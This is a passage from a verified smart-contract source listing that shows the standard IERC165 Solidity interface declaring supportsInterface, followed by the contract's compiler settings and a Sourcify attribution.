 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[ERC section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
Compiler settingsShow
{
  "viaIR": true,
  "optimizer": {
    "runs": 200,
    "enabled": true
  },
  "evmVersion": "paris"
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.